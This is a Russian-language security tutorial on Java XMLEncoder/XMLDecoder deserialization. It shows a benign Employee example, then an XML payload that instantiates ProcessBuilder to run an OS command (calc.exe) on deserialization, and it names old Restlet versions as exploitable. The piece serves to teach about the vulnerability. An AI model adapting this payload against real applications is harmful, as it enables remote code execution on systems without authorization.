«Проблемы» с нативной двоичной сериализацией в Java (да и не только) стали, наверное, одним из главных трендов 2015 года. На основе этой технологии были найдены критические уязвимости не просто в каком-то ПО, а в протоколах; зацепило и Android. Но технологии не ограничиваются только бинарной сериализацией (кроме нативной, есть еще целый пучок сторонних библиотек), есть и другие варианты. Один из них — XML-сериализация объектов.
Я уже описывал эксплуатацию такой уязвимости в одном из недавних выпусков Easy Hack. Тогда с помощью плагина для Burp мы модифицировали бинарную сериализацию в XML, меняли данные и после обратного процесса пересылали дальше на сервер. Для этого использовалась сторонняя библиотека XStream. Но есть и другие. И сегодня мы поговорим про простейший вариант (для атакующего) — XMLEncoder.
Начнем сразу с примера, так будет понятнее. Предположим, у нас имеется класс Employee. В нем есть два поля.
private int employeeId;
public String employeeName;
Создадим объект.
Employee emp1 = new Employee();
emp1.setEmployeeId(3);
emp1.employeeName="John";
Для того чтобы сериализовать объект, нам требуется всего пара строчек.
XMLEncoder e = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("d:\\TestXML.xml")));
e.writeObject(emp1);
Чтобы десериализовать XML в объект, выполняется обратная операция.
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("d:\\TestXML.xml")));
Employee result = (Employee) d.readObject();
Согласись, очень схоже с нативной бинарной сериализацией. Похожи и основные фишки. Например, мы можем отправить любой сериализованный объект (из известных приложению классов), и он сначала будет десериализован (создан), а потом уже будет предпринята попытка его скастить (привести) к необходимому типу.
Однако все это нам не потребуется. Достаточно взглянуть на XML с объектом.
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_75" class="java.beans.XMLDecoder">
<object class="com.test.Employee" id="Employee0">
<void class="com.test.Employee" method="getField">
<string>employeeName</string>
<void method="set">
<object idref="Employee0"/>
<string>John</string>
</void>
</void>
<void property="employeeId">
<int>3</int>
</void>
</object>
</java>
Поначалу структура может показаться запутанной, но главное здесь вот что: в отличие от нативной сериализации, где просто указываются все поля объекта и их значения, тут мы имеем доступ и к методам. XMLEncoder как бы описывает последовательность действий для последующего восстановления объектов с помощью XMLDecoder.
Теоретически если какое-то приложение ждет на вход объект Java, сериализованный с помощью XMLEncoder, то мы легко можем отправить специальный XML, который заставит приложение выполнить команду в ОС в процессе десериализации.
Вот пример такой XML.
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>c:\\windows\\system32\\calc.exe</string>
</void>
</array>
<void method="start"/>
</object>
</java>
Подробнее об этой теме можешь почитать у ресерчера, который раскрыл эту тему.
Как видишь, технология реализована так, что с ее помощью можно сделать что угодно. Тем не менее она применяется в жизни. Например, не так давно (пару лет назад) ее перестал использовать фреймворк для RESTful-сервисов Restlet. Однако старые версии, которые, я уверен, еще используются во многих продуктах, дают в определенных случаях возможность получить RCE.
Кстати, я планирую в скором времени выложить на GitHub свое задание с хакквеста последнего ZeroNights. Ты сможешь поиграться с описанной выше атакой на Restlet, а также HQL-инъекцией для MySQL и типичной Execution After Redirect. Постараюсь и впредь снабжать Easy Hack тестовыми стендами, хотя вопрос, в каком виде их распространять, пока открыт.